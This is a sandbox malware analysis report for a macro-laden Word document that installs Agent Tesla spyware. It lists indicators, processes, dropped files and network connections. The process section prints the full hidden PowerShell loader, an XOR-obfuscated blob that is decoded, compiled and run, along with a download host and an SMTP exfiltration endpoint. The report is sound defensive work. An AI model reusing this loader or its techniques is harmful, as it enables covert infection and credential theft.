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File name:

sample4.doc

Full analysis: https://app.any.run/tasks/242eef51-00d0-459c-a198-22801ee896f9
Verdict: Malicious activity
Threats:

Agent Tesla is spyware that collects information about the actions of its victims by recording keystrokes and user interactions. It is falsely marketed as a legitimate software on the dedicated website where this malware is sold.

Analysis date: July 18, 2019, 08:41:12
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
keylogger
stealer
agenttesla
maldoc-32
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.3, Code page: 1252, Title: o1e44, Subject: p1f21b, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Jul 18 08:56:00 2019, Last Saved Time/Date: Thu Jul 18 08:56:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0
MD5:

A5E3811303D8494345734C921B6BC2C9

SHA1:

5C3195F3A9E045DB61531A248477CFF0F0405334

SHA256:

2948787E6709CD5322648262F1E2CB1BB1E4BC921CDCDF81EA759ABA4E552034

SSDEEP:

12288:hDDH2JexyhrAopDEPoqVM22rqxMaA58ewbrH2JexMhrAoTDEPoqC:JbcemAou/zAqOaA58eezcekAos/

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • a94afc.exe (PID: 4052)
      • a94afc.exe (PID: 2812)
      • a94afc.exe (PID: 3712)
    • Known privilege escalation attack

      • a94afc.exe (PID: 4052)
    • Starts Visual C# compiler

      • powershell.exe (PID: 3212)
    • AGENTTESLA was detected

      • a94afc.exe (PID: 4052)
    • Actions looks like stealing of personal data

      • a94afc.exe (PID: 4052)
    • Changes the autorun value in the registry

      • a94afc.exe (PID: 4052)
  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 3212)
      • a94afc.exe (PID: 4052)
    • Reads Windows Product ID

      • a94afc.exe (PID: 4052)
    • Executed via WMI

      • powershell.exe (PID: 3212)
    • PowerShell script executed

      • powershell.exe (PID: 3212)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3212)
      • a94afc.exe (PID: 4052)
    • Application launched itself

      • a94afc.exe (PID: 2812)
    • Modifies the open verb of a shell class

      • a94afc.exe (PID: 4052)
    • Reads Environment values

      • a94afc.exe (PID: 4052)
  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2888)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 2888)
    • Reads settings of System Certificates

      • a94afc.exe (PID: 4052)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserType: Microsoft Word 97-2003 Document
CompObjUserTypeLen: 32
HeadingPairs:
  • Title
  • 1
TitleOfParts: o1e44
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: 1
Paragraphs: 1
Lines: 1
Bytes: 11000
CodePage: Windows Latin 1 (Western European)
Security: None
Characters: 1
Words: -
Pages: 1
ModifyDate: 2019:07:18 07:56:00
CreateDate: 2019:07:18 07:56:00
TotalEditTime: -
Software: Microsoft Office Word
RevisionNumber: 1
LastModifiedBy: -
Template: Normal.dotm
Comments: -
Keywords: -
Author: -
Subject: p1f21b
Title: o1e44
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
49
Monitored processes
9
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs powershell.exe csc.exe cvtres.exe no specs a94afc.exe no specs #AGENTTESLA a94afc.exe eventvwr.exe no specs eventvwr.exe a94afc.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2888"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\sample4.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3212powershell -WindowStyle Hidden function ac629 { param($ocbef) $a86a42 = 'l4c4a';$bcd45f1 = ''; for ($i = 0; $i -lt $ocbef.length; $i+=2) { $e4da3 = [convert]::ToByte($ocbef.Substring($i, 2), 16); $bcd45f1 += [char]($e4da3 -bxor $a86a42[($i / 2) % $a86a42.length]); } return $bcd45f1; } $qfc42cf = '19470a5a064c671a47150959584112055a041432154717510c4266165a150559061a28024006460e1c67064617055706475a19470a5a064c671a471509594d70080d530d5b12185d00475a19470a5a064c671a471509594d7d2e5741105d0f0b14304d1218510e1a2f094058396b1c410158080f140058001f474343540e52570d57176f27580d2559135b13181c415f041e5a0658525e164f710f18461a640e055a1709432b5117641303572250051e5110474345694344140e580a57411f400240080f14064c1509460d142802403340134c5a5606055b014b7d0f186417464107000656070f18104013055a04140d5d0d545750450f38700d007d0e440e1e404b160a09460d510d5f06411841295a1746183c5b0a5a154c0943162d03550778080e460246184e1d3e141119560f5d024c4717551505574351191851115a41255a1764151e141752050f0c571c1218460a5a064c59070c545f034a0f3a28580f7d0c1c5b1140494e5f06460f09585006434014265a151e4d335b0802405e163705461741000064115b1509571716483114134103005d0014121855175d024c511b40041e5a43560e0358434e535d565b1c2802403340134c42010d045806571834255a1764151e141451575a0c511841195d0d40411c5156010440140c41154c410a5a154c510751570f55021d5a37700f582801440c4615441628511302510f075342500f58434014265a151e4d335b0802405e163318582e5b17097906590e1e4d4118413f511778001f4026461303465e52000047061d3c4c4717551505574351191851115a411a5b0a50411f06570504447d0d40311846435a53090357074d255a1764151e140d0357590351180802404342030a075b0d00450f134103005d0014121855175d024c5d0d40411e525405505b1c4a4f2802403340134c415405530a564309411852075759581c0257575e0d4b165108015a0551595057525154015b04074e1d4a0f080a1c1603505e5201095c255a1764151e1a395113031d18530e185b434404550c00565a117d0d40311846435e02085507090f590607035444415405530a564f55025a065a1c435e50560d505c010707535c5256015108035505555c555606515a00551648450f0a5249065707550551092a5a153c40111a3b09460c1d1a0b5b175b411c515a0c020e0f1e612802403340134c465b07525b094b6128024033401345015841080240434e525d0550055c5c0f0a52494d4e510503541c0957050d504f46595f07541851140053180e1940434e525d05500548454f045b1503141351585457010f1c2e4d17513a31140956035e0d52091a5c4c50054d5c4c05524d5c4c5a041c577d0d4031184643565354515a5659517902461204550f1a2000580c57292b580c5600001c501d5a21551147090d584d770e1c4d4b5e030e065a054d5c18010659090d010c4d5f1d5847535805061c0f0943437d0f1864174649065707550542600c7d0f1802571c4847041b04515d564a18035e0c060d035418501d5a1c515a0c020e0e4363040e770f5d0402404352050855560c5c02511414360956205808095a171c48574717460802534358005a0056092402420a460e0259065a15427306402703580751133c55175c49295a155d13035a0e510f181a3044040f5d0258270358075113427513440d0557024008035a2755150d1d48163d30555a00000a57411f000f02510d494e005101505d56560543450f0550050d015b1a2503430d580e0d50255d0d091c0257575e0d4b1651580053055658005206545a050100025800535051590105000558025351515f0053000559075302555f01510400590c5300555f0456075059045202500e000006075b06510750090306055759075200515a02560002590153525309045604045c0450035058040006535a0152565159035a01505c505751505903500407590c5200520e0053015658575607535f045401525b055104555e015205035905411d4d0055550054450f33460e0f51104732185511402802520c14050e0357510708090d51164c64115b0209471067150d46177d0f0a5b4b58005a00561d5a3c460c57041f474d67150d46171c050e03575107081d5846041841115a415c0f1e44140e580a57411f400240080f14104013055a0414000f02510d491f40115d0f0b140d5553595750504817471746080253435f55095605575c4e585757550d165847151e5d0d534118520757595809304013055a041a240144174d5a0a5b111c080240435d5c5c0f0a080f0d06565752081a2f510f0b400b0f084709511d1a0e4d17514102015150565909205b0f1a5111404f385b214d15091c0d5553595750504f3f410147151e5d0d53490518511d4d5d024a0f150a50000c5547094b57090d464a1c0f59060703544c6a435f55095605573a445d4c06484c11435f55095605574f20510d531504694a0f1c1e5117411302141752050f0c570f1c11'; $qfc42cf2 = ac629($qfc42cf); Add-Type -TypeDefinition $qfc42cf2; [w5bf496]::rf7117(); C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
4060"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\c7b0hrcm.cmdline"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
8.0.50727.4927 (NetFXspW7.050727-4900)
3332C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RESB602.tmp" "c:\Users\admin\AppData\Local\Temp\CSCB5F2.tmp"C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.execsc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
8.00.50727.4940 (Win7SP1.050727-5400)
2812"C:\Users\admin\AppData\Roaming\a94afc.exe" C:\Users\admin\AppData\Roaming\a94afc.exepowershell.exe
User:
admin
Company:
El Matador
Integrity Level:
MEDIUM
Description:
snakeGameX
Exit code:
0
Version:
8.0.4.2
4052"C:\Users\admin\AppData\Roaming\a94afc.exe"C:\Users\admin\AppData\Roaming\a94afc.exe
a94afc.exe
User:
admin
Company:
El Matador
Integrity Level:
MEDIUM
Description:
snakeGameX
Version:
8.0.4.2
2344"C:\Windows\System32\eventvwr.exe" C:\Windows\System32\eventvwr.exea94afc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Event Viewer Snapin Launcher
Exit code:
3221226540
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3092"C:\Windows\System32\eventvwr.exe" C:\Windows\System32\eventvwr.exe
a94afc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Event Viewer Snapin Launcher
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3712"C:\Users\admin\AppData\Roaming\a94afc.exe" C:\Users\admin\AppData\Roaming\a94afc.exeeventvwr.exe
User:
admin
Company:
El Matador
Integrity Level:
HIGH
Description:
snakeGameX
Version:
8.0.4.2
Total events
1 821
Read events
1 379
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
5
Text files
2
Unknown types
6

Dropped files

PID
Process
Filename
Type
2888WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRA5A6.tmp.cvr
MD5:
SHA256:
3212powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\14GC97TN46VCMW5F1UK0.temp
MD5:
SHA256:
4060csc.exeC:\Users\admin\AppData\Local\Temp\CSCB5F2.tmp
MD5:
SHA256:
4060csc.exeC:\Users\admin\AppData\Local\Temp\c7b0hrcm.pdb
MD5:
SHA256:
3332cvtres.exeC:\Users\admin\AppData\Local\Temp\RESB602.tmp
MD5:
SHA256:
4060csc.exeC:\Users\admin\AppData\Local\Temp\c7b0hrcm.dll
MD5:
SHA256:
4060csc.exeC:\Users\admin\AppData\Local\Temp\c7b0hrcm.out
MD5:
SHA256:
2888WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\79CE327E.emf
MD5:
SHA256:
2888WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\45E4C467.png
MD5:
SHA256:
2888WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRD0002.tmp
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
2
DNS requests
2
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3212
powershell.exe
37.187.19.227:443
plik.root.gg
OVH SAS
FR
suspicious
4052
a94afc.exe
87.250.250.38:587
smtp.yandex.com
YANDEX LLC
RU
whitelisted

DNS requests

Domain
IP
Reputation
plik.root.gg
  • 37.187.19.227
suspicious
smtp.yandex.com
  • 87.250.250.38
  • 213.180.204.38
  • 213.180.193.38
  • 77.88.21.38
  • 93.158.134.38
shared

Threats

No threats detected
Process
Message
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cppĒ
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144